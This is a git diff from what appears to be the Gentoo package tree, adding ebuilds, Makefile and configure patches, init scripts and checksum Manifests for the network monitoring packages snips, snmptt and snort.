+diff -uNr snips-1.2.ORIG/trapmon/Makefile.mid snips-1.2/trapmon/Makefile.mid
+--- snips-1.2.ORIG/trapmon/Makefile.mid 2012-06-26 14:43:15.816552541 +0100
++++ snips-1.2/trapmon/Makefile.mid 2012-06-26 14:47:17.560568478 +0100
+@@ -17,7 +17,7 @@
+ INITFILES = trapmon
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+ install: $(TARG)
+ $(INSTALL) -c -m 4750 $(TARG) $(BINDIR)/
+diff -uNr snips-1.2.ORIG/utility/Makefile.mid snips-1.2/utility/Makefile.mid
+--- snips-1.2.ORIG/utility/Makefile.mid 2012-06-26 14:43:15.801552541 +0100
++++ snips-1.2/utility/Makefile.mid 2012-06-26 14:45:49.512562573 +0100
+@@ -25,10 +25,10 @@
+ all: $(CPROGS) sed
+
+ display_snips_datafile: display_snips_datafile.o
+- $(CC) $(CFLAGS) $@.o $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $@.o $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+ eventselect: eventselect.o
+- $(CC) $(CFLAGS) $@.o $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $@.o $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+
+ sed:
diff --git a/net-analyzer/snips/files/snips-1.2-link-correct-snmp-lib.patch b/net-analyzer/snips/files/snips-1.2-link-correct-snmp-lib.patch
new file mode 100644
index 000000000000..23098c02d3ff
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-link-correct-snmp-lib.patch
@@ -0,0 +1,12 @@
+diff -uNr snips-1.2.ORIG/trapmon/Makefile.mid snips-1.2/trapmon/Makefile.mid
+--- snips-1.2.ORIG/trapmon/Makefile.mid 2008-07-04 15:39:00.000000000 +0100
++++ snips-1.2/trapmon/Makefile.mid 2008-07-04 15:39:22.000000000 +0100
+@@ -17,7 +17,7 @@
+ INITFILES = trapmon
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(PROGLIBS) $(LIBS) -o $@
+
+ install: $(TARG)
+ $(INSTALL) -c -m 4750 $(TARG) $(DESTDIR)$(BINDIR)/
diff --git a/net-analyzer/snips/files/snips-1.2-linux3.patch b/net-analyzer/snips/files/snips-1.2-linux3.patch
new file mode 100644
index 000000000000..fd2d096189bb
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-linux3.patch
@@ -0,0 +1,26 @@
+Index: snips-1.2/Configure
+===================================================================
+--- snips-1.2.orig/Configure
++++ snips-1.2/Configure
+@@ -274,7 +274,7 @@ case "$OS" in
+ CURSESLIB='-lncurses -ltermcap'
+ PING="/bin/ping"
+ ;;
+- LINUX20|Linux\ 2*)
++ LINUX20|Linux\ [23]*)
+ OS_CFLAGS="-DLINUX2";
+ OS_LIBS="${LIBRESOLV}"
+ if [ -f /usr/lib/libgdbm.so ]; then
+Index: snips-1.2/utility/snipsprog.init
+===================================================================
+--- snips-1.2.orig/utility/snipsprog.init
++++ snips-1.2/utility/snipsprog.init
+@@ -45,7 +45,7 @@ getpid() {
+
+ # Finally try to extract it from ps depending on the OS
+ case "`uname -s -r`" in
+- LINUX20|Linux\ 2*)
++ LINUX20|Linux\ [23]*)
+ ps auxw | awk 'BEGIN { prog=ARGV[1]; dir=ARGV[2]; ARGC=1 }
+ { if ((prog == $11) || (("(" prog ")") == $11) ||
+ ((prog ":") == $11) || ((dir "/" prog) == $11))
diff --git a/net-analyzer/snips/files/snips-1.2-non-interactive.patch b/net-analyzer/snips/files/snips-1.2-non-interactive.patch
new file mode 100644
index 000000000000..c6cb83386212
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-non-interactive.patch
@@ -0,0 +1,93 @@
+--- snips-1.2/Configure.orig 2008-06-26 16:46:49.000000000 +0100
++++ snips-1.2/Configure 2008-06-26 16:48:10.000000000 +0100
+@@ -72,11 +72,7 @@
+ if [ -f $PREVDEFS ]; then
+ echo "You seem to have already run $0 before, would you like"
+ echo "to take your previous answers as defaults [n]: " | tr -d '\012'
+- read input
+- if [ "$input" = "Y" ] || [ "$input" = "y" ]
+- then
+ . ./$PREVDEFS
+- fi
+ fi
+
+ cat <<!
+@@ -93,14 +89,11 @@
+ !
+
+ echo "Enter top level directory [${ROOTDIR}]: " | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then ROOTDIR=${input}; fi
+
+ MANDIR=${ROOTDIR}/man
+ echo "Enter location of man pages [${MANDIR}]: " | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then MANDIR=${input} ; fi
+
+ echo "Enter extension for man pages [${MANEXT}]: " | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then MANEXT=${input} ; fi
+
+ cat <<!
+
+@@ -115,34 +108,27 @@
+ if [ ! -f ${MAIL} ]; then MAIL=/bin/mail ; fi
+ if [ ! -f ${MAIL} ]; then MAIL=/usr/bin/mail ; fi
+ echo "Where is your MAIL program located? [${MAIL}] :" | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then MAIL="${input}" ; fi
+ if [ ! -f ${MAIL} ]; then echo "WARNING, ${MAIL} does not exist" ; fi
+
+ echo "Where should the operational email go? [${OPSMAIL}] :" | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then OPSMAIL="${input}" ; fi
+
+ echo "Where should the admin email go? [${ADMINMAIL}] :" | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then ADMINMAIL="${input}" ; fi
+
+
+ ##
+ ##
+ echo ""
+ echo "Which compiler would you like to use? [${CC}]: " | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then CC="${input}" ; fi
+
+ echo "What compiler options do you want (-DDEBUG)? [${CFLAGS}]: " | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then CFLAGS="${input}" ; fi
+
+ echo "What linker options do you want (-L/local/lib -lbind)? [${LIBS}]: " | tr -d '\012'
+-read input ; if [ "X$input" != "X" ]; then LIBS="${input}" ; fi
+
+ (mkdir TemP; cd TemP; ${YACC}) 2>&1 | egrep -i 'not.*found' >/dev/null 2>&1
+ if [ $? = 0 ]; then
+ echo "${YACC} NOT FOUND"
+ YACC="bison -y"
+ echo "Enter an alternative to yacc [${YACC}]: " | tr -d '\012'
+- read input ; if [ "X$input" != "X" ]; then YACC="${input}" ; fi
+ fi
+ rm -rf TemP
+
+@@ -150,7 +136,6 @@
+ if [ ! -f ${PERL} ]; then PERL=/usr/local/bin/perl ; fi
+ if [ ! -f ${PERL} ]; then
+ echo "Where is PERL located on your system? [$PERL]: "| tr -d '\012'
+- read input ; if [ "X$input" != "X" ]; then PERL="${input}" ; fi
+ if [ ! -f ${PERL} ]; then echo "WARNING, ${PERL} does not exist" ; fi
+ fi
+
+@@ -161,12 +146,10 @@
+ if [ -d $RRDLIBDIR ]; then RRDCFLAGS="-DRRDTOOL" ; fi
+ if [ "$RRDCFLAGS" = "" ]; then definput="n" ; else definput="y" ; fi
+ echo "Do you have RRDtool installed (www.caida.org)? [$definput]: " | tr -d '\012'
+-read input
+ if [ "X$input" = "X" ]; then input=$definput ; fi
+ if [ "$input" = "y" ] || [ "$input" = "Y" ]; then
+ RRDCFLAGS="-DRRDTOOL"
+ echo "Enter path to the RRD library [$RRDLIBDIR]: " | tr -d '\012'
+- read input ; if [ "X$input" != "X" ]; then RRDLIBDIR="${input}"; fi
+
+ if [ ! -f $RRDLIBDIR/librrd.a ]; then
+ echo "WARNING, $RRDLIBDIR/librrd.a not found"
+@@ -181,7 +164,6 @@
+ ## Check if they want the old NOCOL mode
+ #echo ""
+ #echo "Do you want to compile using the old NOCOL event structure? [no]: " | tr -d '\012'
+-#read input ; if [ "X$input" != "X" ]; then CFLAGS="${CFLAGS} -DNOCOL" ; fi
+
+
+ ##
diff --git a/net-analyzer/snips/files/snips-1.2-nsmon-libresolv.patch b/net-analyzer/snips/files/snips-1.2-nsmon-libresolv.patch
new file mode 100644
index 000000000000..22e2e53d5eca
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-nsmon-libresolv.patch
@@ -0,0 +1,15 @@
+diff -uNr snips-1.2.ORIG/nsmon/Makefile.mid snips-1.2/nsmon/Makefile.mid
+--- snips-1.2.ORIG/nsmon/Makefile.mid 2012-06-26 14:58:39.418613245 +0100
++++ snips-1.2/nsmon/Makefile.mid 2012-06-26 14:59:08.018615168 +0100
+@@ -3,10 +3,8 @@
+ # Makefile for 'nsmon'
+ #
+
+-# Might need to link with 'libresolv' on some systems
+-
+ PROGCDEFS =
+-PROGLIBS = # -lresolv
++PROGLIBS = -lresolv
+
+ TARG = nsmon
+ OBJS = main.o nsmon.o
diff --git a/net-analyzer/snips/files/snips-1.2-parallel-make.patch b/net-analyzer/snips/files/snips-1.2-parallel-make.patch
new file mode 100644
index 000000000000..effa673baefc
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-parallel-make.patch
@@ -0,0 +1,23 @@
+diff -uNr snips-1.2.ORIG/Makefile.mid snips-1.2/Makefile.mid
+--- snips-1.2.ORIG/Makefile.mid 2012-06-26 15:53:26.724829432 +0100
++++ snips-1.2/Makefile.mid 2012-06-26 15:55:18.298836689 +0100
+@@ -46,7 +46,7 @@
+ CHECK DONE TODO
+
+ all: Init
+- @echo "BUILDING SNIPS revision $(REV) for $(OS) $$OS" ;\
++ @+echo "BUILDING SNIPS revision $(REV) for $(OS) $$OS" ;\
+ for i in $(SRCS); do \
+ if [ -d $$i ]; then \
+ (echo "" ; echo "MAKING IN $$i" ; echo "----------" ; \
+@@ -74,8 +74,8 @@
+ echo "Else prefix your shell PATH with BSD style install" ;\
+ rm -f SniPpet /tmp/SniPpet ; exit 1 ; fi)
+
+- @echo make $(MFLAGS) install ;
+- @-for i in $(SRCS); do \
++ @+echo make $(MFLAGS) install ;
++ @+-for i in $(SRCS); do \
+ ( echo "" ; echo "MAKING IN $$i" ; echo "----------" ; cd $$i ; \
+ make $(MFLAGS) install ; make $(MFLAGS) init ) ;\
+ done
diff --git a/net-analyzer/snips/files/snips-1.2-r2-precache-config b/net-analyzer/snips/files/snips-1.2-r2-precache-config
new file mode 100644
index 000000000000..a5b695426c51
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-r2-precache-config
@@ -0,0 +1,23 @@
+# These answers are interdependent; do not edit this file!
+package="snips"
+ROOTDIR="/usr/snips"
+MANDIR="/usr/share/man/snips"
+MANEXT="n"
+OPSMAIL="root@localhost"
+ADMINMAIL="root@localhost"
+MAIL="/bin/mail"
+CC="gcc"
+YACC="yacc"
+LIBS=""
+RPCLIB=""
+PSFLAGS="axw"
+PERL="/usr/bin/perl"
+AR="ar r"
+WHOAMI="/usr/bin/whoami"
+RANLIB="ranlib"
+INSTALL="install"
+PING="/bin/ping"
+CURSESLIB="-lncurses"
+RRDCFLAGS="-DRRDTOOL"
+RRDLIBDIR="/usr/lib/"
+RRDLIBS="-L/usr/lib/ -lrrd"
diff --git a/net-analyzer/snips/files/snips-1.2-trapmon-link-order.patch b/net-analyzer/snips/files/snips-1.2-trapmon-link-order.patch
new file mode 100644
index 000000000000..fc95c5155ed9
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-trapmon-link-order.patch
@@ -0,0 +1,12 @@
+diff -uNr snips-1.2.ORIG/trapmon/Makefile.mid snips-1.2/trapmon/Makefile.mid
+--- snips-1.2.ORIG/trapmon/Makefile.mid 2012-06-26 14:50:38.787581669 +0100
++++ snips-1.2/trapmon/Makefile.mid 2012-06-26 14:52:11.381587122 +0100
+@@ -17,7 +17,7 @@
+ INITFILES = trapmon
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(PROGLIBS) $(LIBS) -o $@
+
+ install: $(TARG)
+ $(INSTALL) -c -m 4750 $(TARG) $(DESTDIR)$(BINDIR)/
diff --git a/net-analyzer/snips/metadata.xml b/net-analyzer/snips/metadata.xml
new file mode 100644
index 000000000000..883740516b06
--- /dev/null
+++ b/net-analyzer/snips/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>chainsaw@gentoo.org</email>
+ <name>Tony Vroon</name>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/snips/snips-1.2-r2.ebuild b/net-analyzer/snips/snips-1.2-r2.ebuild
new file mode 100644
index 000000000000..453869f22cad
--- /dev/null
+++ b/net-analyzer/snips/snips-1.2-r2.ebuild
@@ -0,0 +1,73 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils toolchain-funcs user
+
+DESCRIPTION="System & Network Integrated Polling Software"
+HOMEPAGE="http://www.netplex-tech.com/snips/"
+SRC_URI="http://www.netplex-tech.com/software/downloads/${PN}/${P}.tar.gz"
+
+LICENSE="SNIPS BSD HPND GPL-1+ RSA free-noncomm"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+RDEPEND="dev-lang/perl
+ virtual/mailx
+ net-analyzer/rrdtool
+ >=net-misc/iputils-20071127-r2
+ sys-libs/gdbm
+ sys-libs/ncurses"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ # Gentoo-specific non-interactive configure override
+ cp "${FILESDIR}/${PF}-precache-config" "${S}/Config.cache" \
+ || die "Unable to precache configure script answers"
+ echo "CFLAGS=\"${CFLAGS} -fPIC\"" >> "${S}/Config.cache"
+ echo "CC=\"$(tc-getCC)\"" >> "${S}/Config.cache"
+ echo "SRCDIR=\"${S}\"" >> "${S}/Config.cache"
+ epatch "${FILESDIR}/${P}-non-interactive.patch"
+ # Applied to upstream CVS
+ epatch "${FILESDIR}/${P}-install-missing.patch"
+ epatch "${FILESDIR}/${P}-implicit-declarations.patch"
+ epatch "${FILESDIR}/${P}-conflicting-types.patch"
+ epatch "${FILESDIR}/${P}-code-ordering.patch"
+ epatch "${FILESDIR}/${P}-destdir-awareness.patch"
+ epatch "${FILESDIR}/${P}-link-correct-snmp-lib.patch"
+}
+
+src_compile() {
+ # Looks horrid due to missing linebreaks, suppress output
+ ebegin "Running configure script (with precached settings)"
+ ./Configure &> /dev/null || die "Unable to configure"
+ eend $?
+ emake || die "emake failed"
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die "emake install failed"
+}
+
+pkg_preinst() {
+ enewgroup snips
+ enewuser snips -1 -1 /usr/snips snips
+}
+
+pkg_postinst() {
+ ebegin "Fixing permissions"
+ chown -R snips:snips "${ROOT}"usr/snips
+ for x in data logs msgs rrddata run web device-help etc; do
+ chmod -R g+w "${ROOT}usr/snips/${x}" \
+ || die "Unable to chmod ${x}"
+ done
+ chown root:snips "${ROOT}usr/snips/bin/multiping" || die "chown root failed"
+ chown root:snips "${ROOT}usr/snips/bin/etherload" || die "chown root failed"
+ chown root:snips "${ROOT}usr/snips/bin/trapmon" || die "chown root failed"
+ chmod u+s "${ROOT}usr/snips/bin/multiping" || die "SetUID root failed"
+ chmod u+s "${ROOT}usr/snips/bin/etherload" || die "SetUID root failed"
+ chmod u+s "${ROOT}usr/snips/bin/trapmon" || die "SetUID root failed"
+ eend $?
+}
diff --git a/net-analyzer/snips/snips-1.2-r3.ebuild b/net-analyzer/snips/snips-1.2-r3.ebuild
new file mode 100644
index 000000000000..9d369c9fc41d
--- /dev/null
+++ b/net-analyzer/snips/snips-1.2-r3.ebuild
@@ -0,0 +1,81 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit base toolchain-funcs user
+
+DESCRIPTION="System & Network Integrated Polling Software"
+HOMEPAGE="http://www.netplex-tech.com/snips/"
+SRC_URI="http://www.netplex-tech.com/software/downloads/${PN}/${P}.tar.gz"
+
+LICENSE="SNIPS BSD HPND GPL-1+ RSA free-noncomm"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+RDEPEND="dev-lang/perl
+ virtual/mailx
+ net-analyzer/rrdtool
+ >=net-misc/iputils-20071127-r2
+ sys-libs/gdbm
+ sys-libs/ncurses"
+
+PATCHES=(
+ "${FILESDIR}/${P}-ldflags-respect.patch"
+ "${FILESDIR}/${P}-parallel-make.patch"
+ "${FILESDIR}/${P}-non-interactive.patch"
+ "${FILESDIR}/${P}-install-missing.patch"
+ "${FILESDIR}/${P}-implicit-declarations.patch"
+ "${FILESDIR}/${P}-conflicting-types.patch"
+ "${FILESDIR}/${P}-code-ordering.patch"
+ "${FILESDIR}/${P}-destdir-awareness.patch"
+ "${FILESDIR}/${P}-trapmon-link-order.patch"
+ "${FILESDIR}/${P}-nsmon-libresolv.patch"
+ "${FILESDIR}/${P}-etherload-makefile-ordering.patch"
+ "${FILESDIR}/${P}-linux3.patch"
+)
+
+src_prepare() {
+ # Gentoo-specific non-interactive configure override
+ cp "${FILESDIR}/${P}-r2-precache-config" "${S}/Config.cache" \
+ || die "Unable to precache configure script answers"
+ echo "CFLAGS=\"${CFLAGS} -fPIC\"" >> "${S}/Config.cache"
+ echo "CC=\"$(tc-getCC)\"" >> "${S}/Config.cache"
+ echo "SRCDIR=\"${S}\"" >> "${S}/Config.cache"
+ base_src_prepare
+}
+
+src_compile() {
+ # Looks horrid due to missing linebreaks, suppress output
+ ebegin "Running configure script (with precached settings)"
+ ./Configure &> /dev/null || die "Unable to configure"
+ eend $?
+ emake || die "emake failed"
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die "emake install failed"
+}
+
+pkg_preinst() {
+ enewgroup snips
+ enewuser snips -1 -1 /usr/snips snips
+}
+
+pkg_postinst() {
+ ebegin "Fixing permissions"
+ chown -R snips:snips "${ROOT}"usr/snips
+ for x in data logs msgs rrddata run web device-help etc; do
+ chmod -R g+w "${ROOT}usr/snips/${x}" \
+ || die "Unable to chmod ${x}"
+ done
+ chown root:snips "${ROOT}usr/snips/bin/multiping" || die "chown root failed"
+ chown root:snips "${ROOT}usr/snips/bin/etherload" || die "chown root failed"
+ chown root:snips "${ROOT}usr/snips/bin/trapmon" || die "chown root failed"
+ chmod u+s "${ROOT}usr/snips/bin/multiping" || die "SetUID root failed"
+ chmod u+s "${ROOT}usr/snips/bin/etherload" || die "SetUID root failed"
+ chmod u+s "${ROOT}usr/snips/bin/trapmon" || die "SetUID root failed"
+ eend $?
+}
diff --git a/net-analyzer/snmptt/Manifest b/net-analyzer/snmptt/Manifest
new file mode 100644
index 000000000000..6312e9ee2e23
--- /dev/null
+++ b/net-analyzer/snmptt/Manifest
@@ -0,0 +1,2 @@
+DIST snmptt_1.2.tgz 135132 SHA256 0e2756e3d75c59020af7eba668fc834f688330dc14401a6ec43f63ade6baa3b8
+DIST snmptt_1.4.tgz 148504 SHA256 512c33ecdf06da8b3c75082c1506e4b4091ddb714d0d9564771aa12ddc98ef99 SHA512 200ebe565766c15f85b9b9cbc178baeef740663efc951af4c790c4b28d27398c14a95c4b38306ec3503cefe9b86634d5f24ec5f2482694f07789e9025ea39a80 WHIRLPOOL 106c1a6b143bd3d3f68b1c20951edc84877783f1c8b7dcaa17090705695000979c34931e2ee1bb1b184c12704c3ce76f3a8eee1652738af1f59af18ec3e2d29d
diff --git a/net-analyzer/snmptt/files/snmptt.initd b/net-analyzer/snmptt/files/snmptt.initd
new file mode 100644
index 000000000000..1997851253bd
--- /dev/null
+++ b/net-analyzer/snmptt/files/snmptt.initd
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net snmptrapd
+}
+
+start() {
+ ebegin "Starting snmptt"
+ start-stop-daemon --start --pidfile /var/run/snmptt.pid --exec /usr/sbin/snmptt
+ eend
+}
+
+stop() {
+ ebegin "Stopping snmptt"
+ start-stop-daemon --stop --pidfile /var/run/snmptt.pid
+ eend
+}
diff --git a/net-analyzer/snmptt/files/snmptt.initd-r1 b/net-analyzer/snmptt/files/snmptt.initd-r1
new file mode 100644
index 000000000000..fcbde4d947ee
--- /dev/null
+++ b/net-analyzer/snmptt/files/snmptt.initd-r1
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need snmptrapd
+}
+
+start() {
+ ebegin "Starting snmptt"
+ start-stop-daemon --start --pidfile /run/snmptt.pid --exec /usr/sbin/snmptt
+ eend
+}
+
+stop() {
+ ebegin "Stopping snmptt"
+ start-stop-daemon --stop --pidfile /run/snmptt.pid
+ eend
+}
diff --git a/net-analyzer/snmptt/metadata.xml b/net-analyzer/snmptt/metadata.xml
new file mode 100644
index 000000000000..f01e891b3e80
--- /dev/null
+++ b/net-analyzer/snmptt/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>SNMP Trap Translator</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">snmptt</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/snmptt/snmptt-1.2.ebuild b/net-analyzer/snmptt/snmptt-1.2.ebuild
new file mode 100644
index 000000000000..8cf5a8091b84
--- /dev/null
+++ b/net-analyzer/snmptt/snmptt-1.2.ebuild
@@ -0,0 +1,60 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+MY_P="${P/-/_}"
+
+DESCRIPTION="SNMP Trap Translator"
+SRC_URI="mirror://sourceforge/snmptt/${MY_P}.tgz"
+HOMEPAGE="http://www.snmptt.org/"
+
+LICENSE="GPL-2"
+
+KEYWORDS="~amd64 ~ppc x86"
+SLOT="0"
+IUSE="mysql postgres"
+
+S="${WORKDIR}/${MY_P}"
+
+RDEPEND=">=dev-lang/perl-5.6.1
+ dev-perl/Config-IniFiles
+ >=net-analyzer/net-snmp-5.1
+ mysql? ( dev-perl/DBD-mysql )
+ postgres? ( dev-perl/DBD-Pg )"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+
+ # bug 105354, daemonize this thing
+ sed -i -e "s:mode = standalone:mode = daemon:g" snmptt.ini || die
+
+ echo "traphandle default /usr/sbin/snmptt" >examples/snmptrapd.conf.sample
+}
+
+src_install() {
+ into /usr
+ dosbin snmptt
+ dosbin snmptthandler
+ dosbin snmptt-net-snmp-test
+ dosbin snmpttconvert
+ dosbin snmpttconvertmib
+
+ insinto /etc/snmp
+ doins snmptt.ini
+ doins examples/snmptt.conf.generic
+ cp -pPR ${D}/etc/snmp/snmptt.conf.generic ${D}/etc/snmp/snmptt.conf
+ doins examples/snmptrapd.conf.sample
+
+ dodoc BUGS ChangeLog README sample-trap
+ dohtml docs/faqs.html docs/index.html docs/layout1.css docs/snmptt.html docs/snmpttconvert.html docs/snmpttconvertmib.html
+
+ newinitd "${FILESDIR}"/snmptt.initd snmptt
+}
+
+pkg_postinst() {
+ if ( use mysql || use postgres ); then
+ elog "Read the html documentation to configure your database."
+ fi
+ elog "Please configure /etc/snmp/snmptt.conf before running."
+}
diff --git a/net-analyzer/snmptt/snmptt-1.4.ebuild b/net-analyzer/snmptt/snmptt-1.4.ebuild
new file mode 100644
index 000000000000..a91c3fcdebfd
--- /dev/null
+++ b/net-analyzer/snmptt/snmptt-1.4.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+MY_P="${P/-/_}"
+
+DESCRIPTION="SNMP Trap Translator"
+SRC_URI="mirror://sourceforge/snmptt/${MY_P}.tgz"
+HOMEPAGE="http://www.snmptt.org/"
+LICENSE="GPL-2"
+
+KEYWORDS="~amd64 ~ppc ~x86"
+SLOT="0"
+IUSE="mysql postgres"
+
+S="${WORKDIR}/${MY_P}"
+
+RDEPEND="
+ dev-lang/perl
+ dev-perl/Config-IniFiles
+ net-analyzer/net-snmp
+ mysql? ( dev-perl/DBD-mysql )
+ postgres? ( dev-perl/DBD-Pg )
+"
+
+src_prepare() {
+ # bug 105354, daemonize this thing
+ sed -i \
+ -e 's:mode = standalone:mode = daemon:g' \
+ -e '/pid_file/s:/var/run:/run:g' \
+ snmptt.ini || die
+
+ echo "traphandle default /usr/sbin/snmptt" >examples/snmptrapd.conf.sample
+}
+
+src_install() {
+ into /usr
+ dosbin snmptt snmptthandler snmptt-net-snmp-test snmpttconvert \
+ snmpttconvertmib
+
+ insinto /etc/snmp
+ doins snmptt.ini examples/snmptt.conf.generic \
+ examples/snmptrapd.conf.sample
+ newins examples/snmptt.conf.generic snmptt.conf
+
+ dodoc BUGS ChangeLog README sample-trap
+ dohtml docs/faqs.html docs/index.html docs/layout1.css docs/snmptt.html \
+ docs/snmpttconvert.html docs/snmpttconvertmib.html
+
+ newinitd "${FILESDIR}"/snmptt.initd-r1 snmptt
+}
diff --git a/net-analyzer/snort/Manifest b/net-analyzer/snort/Manifest
new file mode 100644
index 000000000000..20d8bf973adc
--- /dev/null
+++ b/net-analyzer/snort/Manifest
@@ -0,0 +1,9 @@
+DIST snort-2.9.4.6.tar.gz 5338762 SHA256 cfaa5390b1840aaaa68a6c05a7077dd92cb916e6186a014baa451d43cdb0b3bc SHA512 e35e22cab3b98bbd42ffb4b88c4c4cc9b1c11e35952a9f3f4f684c02c81ca8604b45d16f42b3d0a6c792eeab86a8e319d8ebdd7b1a5215f93ec0e70b6ef53f98 WHIRLPOOL d029b7519e4ea2d9039fba289bf3785f60edaa22da643196b44772a99c1c9833431840845c51c627d7fce3c77758ea68f205df1a2e32a779440c3a651d2f06a3
+DIST snort-2.9.5.6.tar.gz 5049188 SHA256 69ed09077c1fa2268f814c8eff6e613b7fe8876a138df1cd6579cffbb747db55 SHA512 2a77c25f4eddd82315ea55efe046bd002f35d808fdaef2ed60d8944818e24019f9819ec2042252485b0f8dd793b6a7f52ee3f721ea4446025a81ea6147c49311 WHIRLPOOL 2dafec6f4929fe9d5a31387dcbea810fb51a7cb58af0fd1a5c34be13923efd5dcc2670f88e57038a9db9a4da568f90966dca1403295afc0ddb1a0e840ded1740
+DIST snort-2.9.6.0.tar.gz 5189146 SHA256 3cc6c8a9b52f4c863a5736a73b4012aff340b50b5e002771b04d4877f47cd19e SHA512 8af7ce53019c3a13745d2a92b4e8fd93d32431349cd3265034ad8e4a7312c73c034d6773e63eaa96e909c4b9d2a8c2c275533b9cc661cbc02375fb9cf815f995 WHIRLPOOL 3c1b77f5436b8513037e575465d77b6522ac57407a0704a051753aac0d7b2c5698c205efe3d7a50ccba07a936251798e943f8665707376b6e89c0a99a8e43773
+DIST snort-2.9.6.1.tar.gz 5226869 SHA256 119e4c5df83fe36a8d465e72a0347fe31e7771704da286f04115b0c5baa5f7b8 SHA512 455b92900efa098ca85f81290f2b4bfff756d6db1b7f85352f3d17e24e4139c69bde27b4d250aa1291146773f54b891dc8ed877d1bb82fa354bd3e5b8db572a7 WHIRLPOOL 0803e9c3d19fd731820d8d95c81aabdf409db9300c72c5d94384c0e1066bbdd1a4c05cac8b8fa66455358f76e4de24a30b86d4df3992c0c9336def3f6e67d738
+DIST snort-2.9.6.2.tar.gz 5229232 SHA256 8e1d7fc5e1523a786d845ca0102cc474abfcebfcc7e964a1653680034b5b5d77 SHA512 f7ed5dc7777fb330c048d3b14c6fa4b13988ecb3bea7990e04e496dcca7ba28eae976e60838504198a98b9fd3992e021aece5c3142385efebb05a33014afb1c4 WHIRLPOOL fed94a69c69bf5b0e456c272512f77452247168f0a29d5a4bcec43f9b596fe631df3669cea0b90165e573ac875f3d0e1408449d7c99803ef07b1238f4c5ba5a0
+DIST snort-2.9.7.0.tar.gz 6340553 SHA256 9738afea45d20b7f77997cc00055e7dd70f6aea0101209d87efec4bc4eace49b SHA512 f2cbdd2cf2ad15bd4cf3f8658c2a4880ee2069589db89c11aaea637984dde270ef6242c6dd43d5e12f829ed2464388950ee791dbbfa8df796843942c415fbc2f WHIRLPOOL d018f7f4cc9820057642bc691c0812866083a54f9399421f1b6eedfdb55e8cdfd42b0088c12e15facbfbeccd76a6df6351b0103eac35b5d5ca43900521ee274a
+DIST snort-2.9.7.2.tar.gz 6352738 SHA256 db57c532919d9ababac127f29dbdc05ed832394880e46cad81a5dde713ccb4be SHA512 4732014d0049671b1a81857e25a5ffbc3cbccb698be2b3406f69a45603a6b9f34343469ee14fa513199cf9b890a278cc777b42493850cff6fcb3493bb9b73dce WHIRLPOOL 2eec2345e0b945ff504025b2e552729bb5542d351bf1d92e2806be0f1e8d251283d4f984d89058731f5a0150bb1c2a7dd012e9bfbfbd0a3596bfc50321a93cb9
